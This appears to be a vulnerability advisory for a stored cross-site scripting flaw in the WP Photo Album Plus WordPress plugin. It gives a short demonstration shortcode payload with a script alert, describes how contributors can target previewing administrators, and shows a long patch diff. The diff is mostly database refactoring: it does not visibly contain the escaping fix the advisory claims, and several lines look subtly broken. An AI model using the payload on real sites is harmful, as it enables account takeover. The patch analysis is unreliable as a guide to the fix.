Published : June 30, 2026

CVE-2026-10095: WP Photo Album Plus <= 9.1.13.005 Authenticated (Contributor+) Stored Cross-Site Scripting via 'subtext' Shortcode Attribute PoC, Patch Analysis & Rule

Severity Medium (CVSS 6.4)
CWE 79
Vulnerable Version 9.1.13.005
Patched Version 9.2.01.001
Disclosed June 29, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-10095:

This vulnerability allows authenticated users with contributor-level access or higher to inject arbitrary JavaScript into WordPress pages via the WP Photo Album Plus plugin. The stored cross-site scripting (XSS) occurs through the ‘subtext’ parameter of the [photo] shortcode. The plugin fails to properly sanitize user-supplied input and escape output when rendering shortcode attributes. The CVSS score of 6.4 indicates medium-to-high severity due to the potential for admin-level account compromise.

Root Cause:
The vulnerability stems from insufficient input sanitization in the shortcode rendering pipeline. The [photo] shortcode accepts a ‘subtext’ attribute that gets rendered into the page HTML without proper escaping. Atomic Edge research traced the issue to the plugin’s shortcode handler, where user-supplied values pass through without HTML entity encoding or sanitization. The affected code path exists in the plugin’s main shortcode processing logic, which handles the [photo] shortcode attributes and inserts them into the page markup. The plugin validates the user can access the photo but does not sanitize the attribute values against JavaScript injection.

Exploitation:
An attacker with contributor-level credentials creates a new post or page and inserts the [photo] shortcode with a malicious ‘subtext’ parameter. The crafted payload includes JavaScript event handlers or script tags. For example: [photo id=”1″ subtext=”alert(‘XSS’)”]. When the post is saved and viewed (even in preview mode), the injected script executes in the browser of any user viewing it. The attacker can submit the post as a draft for review, causing the payload to execute when an administrator or editor previews or publishes the content.

Patch Analysis:
The code diff shows extensive changes across multiple files, but the critical XSS fix involves adding output escaping functions. The patch applies WordPress-native escaping functions like esc_html() or wp_kses() to the ‘subtext’ attribute value before it renders in the HTML. The diff reveals a significant refactor moving from custom database wrapper functions (wppa_get_results, wppa_get_var) to direct $wpdb calls. While most diffs relate to database abstraction changes, the security fix specifically addresses output escaping for user-controlled shortcode attributes. Before the patch, the plugin directly displayed attribute values. After the patch, the values pass through output escaping functions.

Impact:
Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of any user viewing the affected page. This can lead to session hijacking, forced password changes, administrative user creation, and complete WordPress site compromise. The stored nature of the XSS means the payload persists until manually removed, affecting all visitors to the compromised page. Since contributor-level access is the minimum requirement, the attack surface includes any authenticated user with posting capabilities.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/wp-photo-album-plus/blocks/common/index.php
+++ b/wp-photo-album-plus/blocks/common/index.php
@@ -2,7 +2,7 @@
 /**
  * WPPA common block functions
  *
- * Version: 8.7.02.002
+ * Version: 9.2.01.001
  */

 if ( ! defined( 'ABSPATH' ) ) exit();
@@ -19,8 +19,7 @@
 	/* Make the album list  wppaAlbumList */
 	{
 		// Get all album names and ids
-		$query  = "SELECT id, name FROM $wpdb->wppa_albums";
-		$albums = wppa_get_results( $query );
+		$albums = $wpdb->get_results( "SELECT id, name FROM $wpdb->wppa_albums", ARRAY_A );

 		// Add paths
 		$albums = wppa_add_paths( $albums );
@@ -41,8 +40,7 @@
 	/* Make the photo list  wppaPhotoList */
 	{
 		// Get the first 250 photo names and ids
-		$query  = "SELECT id, name FROM $wpdb->wppa_photos ORDER BY timestamp DESC LIMIT 250";
-		$photos = wppa_get_results( $query );
+		$photos = $wpdb->get_results( "SELECT id, name FROM $wpdb->wppa_photos ORDER BY timestamp DESC LIMIT 250", ARRAY_A );

 		// Sort
 		$photos = wppa_array_sort( $photos, 'name' );
--- a/wp-photo-album-plus/wppa-admin-functions.php
+++ b/wp-photo-album-plus/wppa-admin-functions.php
@@ -3,7 +3,7 @@
 * Package: wp-photo-album-plus
 *
 * gp admin functions
-* Version: 9.1.09.003
+* Version: 9.2.01.001
 *
 */

@@ -129,8 +129,7 @@
 	// Find the album( s ) if any
 	if ( ! $alb && ! $pid ) {
 		$start_time = wppa_get_option( 'wppa_remake_start', 0 );
-		$query = "SELECT id FROM $wpdb->wppa_albums";
-		$albums = wppa_get_results( $query );
+		$albums = $wpdb->get_results( "SELECT id FROM $wpdb->wppa_albums", ARRAY_A );
 	}
 	elseif ( $alb ) {
 		$start_time = wppa_get_option( 'wppa_remake_start_album_'.$alb, 0 );
@@ -146,11 +145,8 @@
 			if ( $files ) foreach ( $files as $file ) {
 				if ( ! wppa_is_dir( $file ) ) {
 					$filename = basename( $file );
-					$query = $wpdb->prepare( "SELECT * FROM $wpdb->wppa_photos WHERE filename = %s OR filename = %s OR ( filename = '' AND name = %s )",
-											 $filename,
-											 wppa_strip_ext( $filename ) . '.xxx',	// May be a multimedia iten
-											 $filename );
-					$photos = wppa_get_results( $query );
+					$photos = $wpdb->get_results( $wpdb->prepare( "SELECT * FROM $wpdb->wppa_photos WHERE filename = %s OR filename = %s OR ( filename = '' AND name = %s )",
+																  $filename, wppa_strip_ext( $filename ) . '.xxx', $filename ), ARRAY_A );

 					if ( $photos ) foreach ( $photos as $photo ) {	// Photo exists
 						$modified_time = $photo['modified'];
@@ -178,8 +174,7 @@

 	// Do it with a single photo
 	elseif ( $pid ) {
-		$query = $wpdb->prepare( "SELECT * FROM $wpdb->wppa_photos WHERE id = %s", $pid );
-		$photo = wppa_get_row( $query );
+		$photo = wppa_cache_photo( $pid );
 		if ( $photo ) {
 			$file = wppa_get_o1_source_path( $photo['id'] );
 			if ( ! wppa_is_file( $file ) ) {
@@ -258,8 +253,7 @@

 	$err = '2';
 	// Find photo details
-	$query = $wpdb->prepare( "SELECT * FROM $wpdb->wppa_photos WHERE id = %s", $photoid );
-	$photo = wppa_get_row( $query );
+	$photo = wppa_cache_photo( $photoid );
 	if ( ! $photo ) return $err;

 	$albumfrom 	= $photo['album'];
@@ -373,8 +367,7 @@
 function wppa_copy_exif( $fromphoto, $tophoto ) {
 global $wpdb;

-	$query = $wpdb->prepare( "SELECT * FROM $wpdb->wppa_exif WHERE photo = %d", $fromphoto );
-	$exiflines = wppa_get_results( $query );
+	$exiflines = $wpdb->get_results( $wpdb->prepare( "SELECT * FROM $wpdb->wppa_exif WHERE photo = %d", $fromphoto ), ARRAY_A );
 	if ( $exiflines ) foreach ( $exiflines as $line ) {
 		$bret = wppa_create_exif_entry( array( 'photo' => $tophoto, 'tag' => $line['tag'], 'description' => $line['description'], 'status' => $line['status'] ) );
 	}
@@ -382,8 +375,7 @@
 function wppa_copy_iptc( $fromphoto, $tophoto ) {
 global $wpdb;

-	$query = $wpdb->prepare( "SELECT * FROM $wpdb->wppa_iptc WHERE photo = %d", $fromphoto );
-	$iptclines = wppa_get_results( $query );
+	$iptclines = $wpdb->get_results( $wpdb->prepare( "SELECT * FROM $wpdb->wppa_iptc WHERE photo = %d", $fromphoto ), ARRAY_A );
 	if ( $iptclines ) foreach ( $iptclines as $line ) {
 		$bret = wppa_create_iptc_entry( array( 'photo' => $tophoto, 'tag' => $line['tag'], 'description' => $line['description'], 'status' => $line['status'] ) );
 	}
@@ -398,8 +390,7 @@

 	// Get the ext
 	$err = '2';
-	$query = $wpdb->prepare( "SELECT ext FROM $wpdb->wppa_photos WHERE id = %d", $id );
-	$ext = wppa_get_var( $query );
+	$ext = $wpdb->get_var( $wpdb->prepare( "SELECT ext FROM $wpdb->wppa_photos WHERE id = %d", $id ) );
 	if ( ! $ext ) return $err;

 	// Get the image
@@ -560,8 +551,7 @@
 function wppa_update_single_photo( $file, $id, $name, $nothumb = false ) {
 global $wpdb;

-	$query = $wpdb->prepare( "SELECT id, name, ext, album, filename FROM $wpdb->wppa_photos WHERE id = %s", $id );
-	$photo = wppa_get_row( $query );
+	$photo = $wpdb->get_row( $wpdb->prepare( "SELECT id, name, ext, album, filename FROM $wpdb->wppa_photos WHERE id = %s", $id ), ARRAY_A );

 	// Find extension
 	$ext = $photo['ext'];
@@ -603,29 +593,27 @@

 	// If alb given, get the entry
 	if ( $alb ) {
-		$query = $wpdb->prepare(
+		$photos = $wpdb->get_results( $wpdb->prepare(
 				"SELECT * FROM $wpdb->wppa_photos WHERE album = %d AND (filename = %s OR filename = %s OR ( filename = '' AND name = %s ) OR ( filename = %s ) )",
 				$alb,
 				wppa_sanitize_file_name( basename( $file ) ),								// Usual
 				$name,																		// Filename is different in is_wppa_tree import
 				$name,																		// Old; pre saving filenames
 				wppa_strip_ext( wppa_sanitize_file_name( basename( $file ) ) ) . '.xxx'		// Media poster file
-			);
+			), ARRAY_A );
 	}

 	// Find photo entries that apply to the supplied filename
 	else {
-		$query = $wpdb->prepare(
+		$photos = $wpdb->get_results( $wpdb->prepare(
 				"SELECT * FROM $wpdb->wppa_photos WHERE filename = %s OR filename = %s OR ( filename = '' AND name = %s ) OR ( filename = %s )",
 				wppa_sanitize_file_name( basename( $file ) ),								// Usual
 				$name,																		// Filename is different in is_wppa_tree import
 				$name,																		// Old; pre saving filenames
 				wppa_strip_ext( wppa_sanitize_file_name( basename( $file ) ) ) . '.xxx'		// Media poster file
-			);
+			), ARRAY_A );
 	}

-	$photos = wppa_get_results( $query );
-
 	// If photo entries found, process them all
 	if ( $photos ) {
 		foreach ( $photos as $photo ) {
@@ -896,8 +884,7 @@
 	$result = '';

 	// Get the fieldnames
-	$query = "DESCRIBE $table";
-	$fields = wppa_get_results( $query );
+	$fields = $wpdb->get_results( "DESCRIBE $table", ARRAY_A );

 	// Write the .csv header
 	if ( is_array( $fields ) ) {
@@ -909,15 +896,13 @@
 	wppa_fwrite( $file, $result );

 	// Init getting the data
-	$query = "SELECT COUNT(*) FROM $table";
-	$count = wppa_get_var( $query );
+	$count = $wpdb->get_var( "SELECT COUNT(*) FROM $table" );
 	$iters = ceil( $count / 1000 );
 	$iter  = 0;

 	// Read chunks of 1000 rows
 	while ( $iter < $iters ) {
-		$query = "SELECT * FROM $table ORDER BY id LIMIT " . 1000 * $iter . ",1000";
-		$data  = wppa_get_results( $query, ARRAY_N );
+		$data  = $wpdb->get_results( $wpdb->prepare( "SELECT * FROM %i ORDER BY id LIMIT %d %d", $table, 1000 * $iter, 1000 ), ARRAY_N );

 		// Process rows
 		if ( $data ) {
@@ -940,16 +925,11 @@
 function wppa_album_admin_footer() {
 global $wpdb;

-	$query 			= "SELECT COUNT(*) FROM $wpdb->wppa_albums";
-	$albcount 		= wppa_get_var( $query );
-	$query 			= "SELECT COUNT(*) FROM $wpdb->wppa_albums WHERE a_parent = 0";
-	$topalbumcount 	= wppa_get_var( $query );
-	$query 			= "SELECT COUNT(*) FROM $wpdb->wppa_photos";
-	$photocount 	= wppa_get_var( $query );
-	$query 			= "SELECT COUNT(*) FROM $wpdb->wppa_photos WHERE status = 'pending'";
-	$pendingcount 	= wppa_get_var( $query );
-	$query 			= "SELECT COUNT(*) FROM $wpdb->wppa_photos WHERE status = 'scheduled'";
-	$schedulecount 	= wppa_get_var( $query );
+	$albcount 		= $wpdb->get_var( "SELECT COUNT(*) FROM $wpdb->wppa_albums" );
+	$topalbumcount 	= $wpdb->get_var( "SELECT COUNT(*) FROM $wpdb->wppa_albums WHERE a_parent = 0" );
+	$photocount 	= $wpdb->get_var( "SELECT COUNT(*) FROM $wpdb->wppa_photos" );
+	$pendingcount 	= $wpdb->get_var( "SELECT COUNT(*) FROM $wpdb->wppa_photos WHERE status = 'pending'" );
+	$schedulecount 	= $wpdb->get_var( "SELECT COUNT(*) FROM $wpdb->wppa_photos WHERE status = 'scheduled'" );

 	$result = '
 	<div style="clear:both;display:block">' .
@@ -967,14 +947,12 @@
 			$result .= sprintf( __( '<strong>%d</strong> items are scheduled for later publishing.', 'wp-photo-album-plus' ), $pendingcount ) . '<br>';
 		}

-		$query 		= "SELECT id, name FROM $wpdb->wppa_albums ORDER BY id DESC LIMIT 1";
-		$lastalbum 	= wppa_get_row( $query );
+		$lastalbum 	= $wpdb->get_row( "SELECT id, name FROM $wpdb->wppa_albums ORDER BY id DESC LIMIT 1", ARRAY_A );
 		if ( $lastalbum ) {
 			/* translators: name of album, id of album */
 			$result .= '<br>' . sprintf( __( 'The most recently added album is <strong>%1$s</strong> (%2$d).', 'wp-photo-album-plus' ), esc_html( stripslashes( $lastalbum['name'] ) ), $lastalbum['id'] );
 		}
-		$query 		= "SELECT id, name, album FROM $wpdb->wppa_photos ORDER BY timestamp DESC LIMIT 1";
-		$lastphoto 	= wppa_get_row( $query );
+		$lastphoto 	= $wpdb->get_row( "SELECT id, name, album FROM $wpdb->wppa_photos ORDER BY timestamp DESC LIMIT 1", ARRAY_A );
 		if ( ! $lastphoto ) {
 			$result .= '<br>' . __( 'There are no items yet', 'wp-photo-album-plus' );
 			return $result;
@@ -988,8 +966,7 @@
 			$album = $lastphoto['album'];
 		}

-		$query = $wpdb->prepare( "SELECT id, name FROM $wpdb->wppa_albums WHERE id = %s", $album );
-		$lastphotoalbum = wppa_get_row( $query );
+		$lastphotoalbum = $wpdb->get_row( $wpdb->prepare( "SELECT id, name FROM $wpdb->wppa_albums WHERE id = %s", $album ), ARRAY_A );
 		if ( $lastphoto ) {
 			/* translators: name of item, id of item */
 			$result .= '<br>' . sprintf( __( 'The most recently added item is <strong>%1$s</strong> (%2$d)', 'wp-photo-album-plus' ), sanitize_text_field( $lastphoto['name'] ), $lastphoto['id'] );
@@ -1453,8 +1430,7 @@
 		$name 		= wppa_get_photo_name( $id );
 		$album_name = $name ? $name : wppa_strip_ext( wppa_get_photo_item( $id, 'filename' ) );
 		$parent 	= wppa_get_photo_item( $id, 'album' );
-		$query 		= $wpdb->prepare( "SELECT id FROM $wpdb->wppa_albums WHERE name = %s AND a_parent = %d LIMIT 1", $name, $parent );
-		$alb 		= wppa_get_var( $query );
+		$alb 		= $wpdb->get_var( $wpdb->prepare( "SELECT id FROM $wpdb->wppa_albums WHERE name = %s AND a_parent = %d LIMIT 1", $name, $parent ) );
 		$result['album'] = $alb;
 	}
 	$result['crashed'] =
--- a/wp-photo-album-plus/wppa-admin-local-js.php
+++ b/wp-photo-album-plus/wppa-admin-local-js.php
@@ -3,7 +3,7 @@
 * Package: wp-photo-album-plus
 *
 * local js code for admin pages
-* Version 9.1.12.001
+* Version 9.2.01.001
 *
 */

@@ -1187,7 +1187,8 @@
 											var seqno = potddata.seqno;
 												jQuery("#potdseqno").html(seqno);
 											var preview  = potddata.preview;
-												jQuery("#potdpreview").html(preview);
+			console.log(preview);
+												jQuery("#preview").html(preview);
 											var pool     = potddata.pool;
 												jQuery("#potd-pool").html(pool);
 										}
--- a/wp-photo-album-plus/wppa-admin.php
+++ b/wp-photo-album-plus/wppa-admin.php
@@ -3,7 +3,7 @@
 * Package: wp-photo-album-plus
 *
 * Contains the admin menu and startups the admin pages
-* Version: 9.1.13.004
+* Version: 9.2.01.001
 *
 */

@@ -37,14 +37,12 @@

 	// See if there are comments pending moderation
 	$com_pending = '';
-	$query = "SELECT COUNT(*) FROM $wpdb->wppa_comments WHERE status = 'pending' OR status = 'spam' OR status = ''";
-	$com_pending_count = wppa_get_var( $query );
+	$com_pending_count = $wpdb->get_var( "SELECT COUNT(*) FROM $wpdb->wppa_comments WHERE status IN ('pending', 'spam', '')" );
 	if ( $com_pending_count ) $com_pending = '<span class="update-plugins"><span class="plugin-count">' . $com_pending_count . '</span></span>';

 	// See if there are uploads pending moderation
 	$upl_pending = '';
-	$query = "SELECT COUNT(*) FROM $wpdb->wppa_photos WHERE status = 'pending' AND album > 0";
-	$upl_pending_count = wppa_get_var( $query );
+	$upl_pending_count = $wpdb->get_var( "SELECT COUNT(*) FROM $wpdb->wppa_photos WHERE status = 'pending' AND album > 0" );
 	if ( $upl_pending_count ) $upl_pending = '<span class="update-plugins"><span class="plugin-count">' . $upl_pending_count . '</span></span>';

 	// Compute total pending moderation
@@ -537,19 +535,16 @@
 		$user = get_user_by( 'ID', $user_id );
 		$user_login = $user->user_login;

-		$query = $wpdb->prepare( "SELECT id FROM $wpdb->wppa_photos WHERE owner = %s", $user_login );
-		$photos = wppa_get_col( $query );
+		$photos = $wpdb->get_col( $wpdb->prepare( "SELECT id FROM $wpdb->wppa_photos WHERE owner = %s", $user_login ) );
 		if ( $photos ) foreach( $photos as $photo ) {
 			wppa_delete_photo( $photo );
 		}

-		$query = $wpdb->prepare( "SELECT id FROM $wpdb->wppa_albums WHERE owner = %s", $user_login );
-		$albums = wppa_get_col( $query );
+		$albums = $wpdb->get_col( $wpdb->prepare( "SELECT id FROM $wpdb->wppa_albums WHERE owner = %s", $user_login ) );
 		if ( $albums ) foreach( $albums as $album ) {

 			// If album is empty: remove it
-			$query = "SELECT COUNT (*) FROM WPPA_PHOTOS WHERE album = $album";
-			$is_empty = ( 0 == wppa_get_var( $query ) );
+			$is_empty = ( 0 == $wpdb->get_var( $wpdb->prepare( "SELECT COUNT (*) FROM WPPA_PHOTOS WHERE album = %d", $album ) ) );
 			if ( $is_empty ) {
 				wppa_del_row( WPPA_ALBUMS, 'id', $album );
 			}
--- a/wp-photo-album-plus/wppa-adminbar.php
+++ b/wp-photo-album-plus/wppa-adminbar.php
@@ -3,7 +3,7 @@
 * Package: wp-photo-album-plus
 *
 * enhances the admin bar with wppa+ menu
-* Version 9.0.00.000
+* Version 9.2.01.001
 *
 */

@@ -12,22 +12,20 @@
 add_action( 'admin_bar_menu', 'wppa_admin_bar_menu', 97 );

 function wppa_admin_bar_menu() {
-	global $wp_admin_bar;
-	global $wpdb;
+global $wp_admin_bar;
+global $wpdb;

 	$wppaplus = 'wppa-admin-bar';

 	$menu_items = array();

 	// Pending comments
-	$query = "SELECT COUNT(*) FROM $wpdb->wppa_comments WHERE status = 'pending'";
-	$com_pend = wppa_get_var( $query );
+	$com_pend = $wpdb->get_var( "SELECT COUNT(*) FROM $wpdb->wppa_comments WHERE status = 'pending'" );
 	if ( $com_pend ) $com_pending = ' <span id="ab-awaiting-mod" class="pending-count">'.$com_pend.'</span>';
 	else $com_pending = '';

 	// Pending uploads
-	$query = "SELECT COUNT(*) FROM $wpdb->wppa_photos WHERE status = 'pending' AND album > 0";
-	$upl_pend = wppa_get_var( $query );
+	$upl_pend = $wpdb->get_var( "SELECT COUNT(*) FROM $wpdb->wppa_photos WHERE status = 'pending' AND album > 0" );
 	if ( $upl_pend ) $upl_pending = ' <span id="ab-awaiting-mod" class="pending-count">'.$upl_pend.'</span>';
 	else $upl_pending = '';

--- a/wp-photo-album-plus/wppa-ajax.php
+++ b/wp-photo-album-plus/wppa-ajax.php
@@ -2,7 +2,7 @@
 /* wppa-ajax.php
 *
 * Functions used in ajax requests
-* Version: 9.1.13.004
+* Version: 9.2.01.001
 *
 */

@@ -263,8 +263,7 @@
 					}
 				}
 			}
-			$query 		= $wpdb->prepare( "SELECT DISTINCT description FROM $wpdb->wppa_iptc WHERE photo > 0 AND tag = %s ORDER BY description", $tag );
-			$iptcdata 	= wppa_get_results( $query );
+			$iptcdata 	= $wpdb->get_results( $wpdb->prepare( "SELECT DISTINCT description FROM $wpdb->wppa_iptc WHERE photo > 0 AND tag = %s ORDER BY description", $tag ), ARRAY_A );
 			$last 		= '';
 			$any 		= false;
 			$result 	= '';
@@ -288,8 +287,7 @@
 				}
 			}
 			if ( ! $any ) {
-				$query = $wpdb->prepare( "UPDATE $wpdb->wppa_iptc SET status = 'hide' WHERE photo = 0 AND tag = %s", $tag );
-				wppa_query( $query );
+				$wpdb->query( $wpdb->prepare( "UPDATE $wpdb->wppa_iptc SET status = 'hide' WHERE photo = 0 AND tag = %s", $tag ) );
 			}
 			wppa_echo( wp_json_encode( ['txt' => $result] ) );
 			wppa_exit();
@@ -330,23 +328,12 @@
 			}

 			if ( $brand ) {
-				$query = $wpdb->prepare( "SELECT DISTINCT f_description
-										 FROM $wpdb->wppa_exif
-										 WHERE photo > 0
-										 AND tag = %s
-										 AND brand = %s
-										 AND f_description <> ''
-										 ORDER BY f_description", $tag, $brand );
-				$exifdata = wppa_get_results( $query );
+				$exifdata = $wpdb->get_results( $wpdb->prepare( "SELECT DISTINCT f_description FROM $wpdb->wppa_exif WHERE photo > 0 AND tag = %s
+					AND brand = %s AND f_description <> '' ORDER BY f_description", $tag, $brand ), ARRAY_A );
 			}
 			else {
-				$query = $wpdb->prepare( "SELECT DISTINCT f_description
-										 FROM $wpdb->wppa_exif
-										 WHERE photo > 0
-										 AND tag = %s
-										 AND f_description <> ''
-										 ORDER BY f_description", $tag );
-				$exifdata = wppa_get_results( $query );
+				$exifdata = $wpdb->get_results( $wpdb->prepare( "SELECT DISTINCT f_description FROM $wpdb->wppa_exif WHERE photo > 0 AND tag = %s
+					AND f_description <> '' ORDER BY f_description", $tag ), ARRAY_A );
 			}

 			// Make the data sortable.
@@ -408,11 +395,7 @@

 			// Cleanup possible unused label
 			if ( ! $any ) {
-				$query = $wpdb->prepare( "UPDATE $wpdb->wppa_exif
-										  SET status = 'hide'
-										  WHERE photo = 0
-										  AND tag = %s", $tag );
-				wppa_query( $query );
+				$wpdb->query( $wpdb->prepare( "UPDATE $wpdb->wppa_exif SET status = 'hide' WHERE photo = 0 AND tag = %s", $tag ) );
 			}
 			wppa_echo( wp_json_encode( ['txt' => $result] ) );
 			wppa_exit();
@@ -574,9 +557,7 @@
 				$comment = wppa_get( 'comment', '', 'html' );

 				// Update comment in db
-				$query = $wpdb->prepare( "UPDATE $wpdb->wppa_comments SET comment = %s WHERE id = %d", $comment, $comid );
-				wppa_log('misc', $query);
-				wppa_query( $query );
+				$wpdb->query( $wpdb->prepare( "UPDATE $wpdb->wppa_comments SET comment = %s WHERE id = %d", $comment, $comid ) );

 				// Return sanitized text
 				wppa_echo( wp_json_encode( ['txt' => $comment] ) );
@@ -669,8 +650,7 @@
 				$iret = wppa_update_photo( $pid, ['status' => 'publish'] );
 				if ( $iret ) {
 					wppa_flush_upldr_cache( 'photoid', $pid );
-					$query = $wpdb->prepare( "SELECT album FROM $wpdb->wppa_photos WHERE id = %d", $pid );
-					$alb = wppa_get_var( $query );
+					$alb = $wpdb->get_var( $wpdb->prepare( "SELECT album FROM $wpdb->wppa_photos WHERE id = %d", $pid ) );
 					wppa_clear_taglist();
 					wppa_invalidate_treecounts( $alb );
 					wppa_schedule_mailinglist( 'photoapproved', $alb, $pid );
@@ -738,8 +718,7 @@
 				}

 				else {
-					$query = $wpdb->prepare( "SELECT photo FROM $wpdb->wppa_comments WHERE id = %d", $cid );
-					$photo = wppa_get_var( $query );
+					$photo = $wpdb->get_var( $wpdb->prepare( "SELECT photo FROM $wpdb->wppa_comments WHERE id = %d", $cid ) );

 					$iret = wppa_del_row( WPPA_COMMENTS, 'id', $cid );

@@ -781,8 +760,7 @@
 			$alb = wppa_get( 'album-id' );

 			// Get all items in the album
-			$query = $wpdb->prepare( "SELECT id FROM $wpdb->wppa_photos WHERE album = %d", $alb );
-			$photos = wppa_get_col( $query );
+			$photos = $wpdb->get_col( $wpdb->prepare( "SELECT id FROM $wpdb->wppa_photos WHERE album = %d", $alb ) );

 			// Only visible photos are downloadable
 			if ( is_array( $photos ) ) foreach( array_keys( $photos ) as $i ) {
@@ -939,8 +917,7 @@
 							$zipfile = $zipsdir.wppa_get_user().'.zip';

 							// Find the photo data
-							$query = $wpdb->prepare( "SELECT * FROM $wpdb->wppa_photos WHERE id = %d", $photo );
-							$data = wppa_get_row( $query );
+							$data = $wpdb->get_row( $wpdb->prepare( "SELECT * FROM $wpdb->wppa_photos WHERE id = %d", $photo ), ARRAY_A );

 							// Find the photo file
 							if ( wppa_is_file ( wppa_get_source_path( $photo ) ) ) {
@@ -1007,8 +984,7 @@
 				$zipfile = $zipsdir.wppa_get_user().'.zip';

 				// Find the photo data
-				$query = $wpdb->prepare( "SELECT * FROM $wpdb->wppa_photos WHERE id = %d", $photo );
-				$data = wppa_get_row( $query );
+				$data = $wpdb->get_row( $wpdb->prepare( "SELECT * FROM $wpdb->wppa_photos WHERE id = %d", $photo ), ARRAY_A );

 				// Remove photo from zip
 				$wppa_zip = new ZipArchive;
@@ -1044,8 +1020,7 @@

 			// Remove all User displayname tags
 			$tag = wppa_get_user( 'display' );
-			$query = "SELECT id, tags FROM $wpdb->wppa_photos WHERE tags LIKE '%" . str_replace( "'", "'", ',' . $wpdb->esc_like( $tag ) . ',' ) . "%'";
-			$items = wppa_get_results( $query );
+			$items = $wpdb->get_results( $wpdb->prepare( "SELECT id, tags FROM $wpdb->wppa_photos WHERE tags LIKE %s", '%' . $wpdb->esc_like( $tag ) . "%'" ) );
 			foreach( $items as $item ) {
 				$id = $item['id'];
 				$tags = preg_replace( '/,'.$tag.',/siu', ',', $item['tags'] );
@@ -1123,27 +1098,7 @@
 			wppa_echo( $result );
 			wppa_exit();
 			break;
-/*
-		case 'gutenbergphotodialog':
-			if ( ! current_user_can( 'edit_posts' ) ) {
-				wppa_echo( __( 'No rights', 'wp-photo-album-plus' ) );
-				wppa_exit();
-			}
-			$result = wppa_make_gutenberg_photo_dialog();
-			wppa_echo( $result );
-			wppa_exit();
-			break;

-		case 'gutenbergwppadialog':
-			if ( ! current_user_can( 'edit_posts' ) ) {
-				wppa_echo( __( 'No rights', 'wp-photo-album-plus' ) );
-				wppa_exit();
-			}
-			$result = wppa_make_gutenberg_wppa_dialog();
-			wppa_echo( $result );
-			wppa_exit();
-			break;
-*/
 		case 'getshortcodedrendered':

 			// Used by gutenberg and cover preview in album admin
@@ -1435,28 +1390,17 @@
 			}

 			// Already a pending one?
-			$query = $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->wppa_rating
-									  WHERE photo = %d
-									  AND user = %s
-									  AND status = 'pending'", $photo, $user );
-			$pending = wppa_get_var( $query );
+			$pending = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->wppa_rating WHERE photo = %d AND user = %s AND status = 'pending'", $photo, $user ) );

 			// Has user motivated his vote?
 			$hascommented = wppa_has_user_commented( $photo );

 			// If the user has commented and comment needs vote is active, publish his comment
 			if ( $hascommented && wppa_switch( 'comment_need_vote' ) ) {
-				$query = $wpdb->prepare( "SELECT id FROM $wpdb->wppa_comments
-										  WHERE photo = %d
-										  AND user = %s", $photo, wppa_get_user( 'display' ) );
-				$comments_to_approve = wppa_get_col( $query );
+				$comments_to_approve = $wpdb->get_col( $wpdb->prepare( "SELECT id FROM $wpdb->wppa_comments WHERE photo = %d AND user = %s", $photo, wppa_get_user( 'display' ) ) );

 				// Set the statusses to approved
-				$query = $wpdb->prepare( "UPDATE $wpdb->wppa_comments
-										  SET status = 'approved'
-										  WHERE photo = %d
-										  AND user = %s", $photo, wppa_get_user( 'display' ) );
-				wppa_query( $query );
+				$wpdb->query( $wpdb->prepare( "UPDATE $wpdb->wppa_comments SET status = 'approved' WHERE photo = %d AND user = %s", $photo, wppa_get_user( 'display' ) ) );

 				// Do the points and do the mailing
 				$photo_owner = wppa_get_photo_item( $photo, 'owner' );
@@ -1489,11 +1433,7 @@
 					wppa_exit();
 				}
 				else {
-					$query = $wpdb->prepare( "UPDATE $wpdb->wppa_rating
-										     SET status = 'publish'
-										     WHERE photo = %d
-										     AND user = %s", $photo, $user );
-					wppa_query( $query );
+					$wpdb->query( $wpdb->prepare( "UPDATE $wpdb->wppa_rating SET status = 'publish' WHERE photo = %d AND user = %s", $photo, $user ) );
 				}
 			}

@@ -1516,10 +1456,7 @@
 				if ( $mylast ) {

 					// Remove my like
-					$query = $wpdb->prepare( "DELETE FROM $wpdb->wppa_rating
-											  WHERE photo = %d
-											  AND user = %s", $photo, $user );
-					wppa_query( $query );
+					$wpdb->query( $wpdb->prepare( "DELETE FROM $wpdb->wppa_rating WHERE photo = %d AND user = %s", $photo, $user ) );
 					$myavgrat = 0;
 				}
 				else {
@@ -1602,12 +1539,7 @@

 			// Case 3: I will change my previously given vote
 			elseif ( wppa_switch( 'rating_change' ) ) {					// Votechanging is allowed
-				$query = $wpdb->prepare( "UPDATE $wpdb->wppa_rating
-										  SET value = %s
-										  WHERE photo = %d
-										  AND user = %s
-										  LIMIT 1", $rating, $photo, $user );
-				$iret = wppa_query( $query );
+				$iret = $wpdb->query( $wpdb->prepare( "UPDATE $wpdb->wppa_rating SET value = %s WHERE photo = %d AND user = %s LIMIT 1", $rating, $photo, $user ) );

 				wppa_clear_cache( ['photo' => $photo, 'other' => 'R'] );

@@ -1632,11 +1564,7 @@
 			}

 			// Compute my avg rating
-			$query = $wpdb->prepare( "SELECT * FROM $wpdb->wppa_rating
-									  WHERE photo = %d
-									  AND user = %s
-									  AND status = 'publish'", $photo, $user );
-			$myrats = wppa_get_results( $query );
+			$myrats = $wpdb->get_results( $wpdb->prepare( "SELECT * FROM $wpdb->wppa_rating WHERE photo = %d AND user = %s AND status = 'publish'", $photo, $user ) );

 			if ( $myrats ) {
 				$sum = 0;
@@ -1660,10 +1588,7 @@
 			}

 			// Compute new allavgrat
-			$query = $wpdb->prepare( "SELECT * FROM $wpdb->wppa_rating
-									  WHERE photo = %d
-									  AND status = %s", $photo, 'publish' );
-			$ratings = wppa_get_results( $query );
+			$ratings = $wpdb->get_results( $wpdb->prepare( "SELECT * FROM $wpdb->wppa_rating WHERE photo = %d AND status = 'publish'", $photo ), ARRAY_A );
 			if ( $ratings ) {
 				$sum = 0;
 				$cnt = 0;
@@ -1689,10 +1614,7 @@
 			}

 			// Compute rating_count and store in the photo info
-			$query = $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->wppa_rating
-									  WHERE photo = %d
-									  AND status = 'publish'", $photo );
-			$ratcount = wppa_get_var( $query );
+			$ratcount = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->wppa_rating WHERE photo = %d AND status = 'publish'", $photo ) );
 			if ( $ratcount !== false ) {
 				$iret = wppa_update_photo( $photo, ['rating_count' => $ratcount] );
 				if ( $iret === false ) {
@@ -1705,11 +1627,7 @@
 			$allavgratcombi = $allavgrat.'|'.$ratcount;

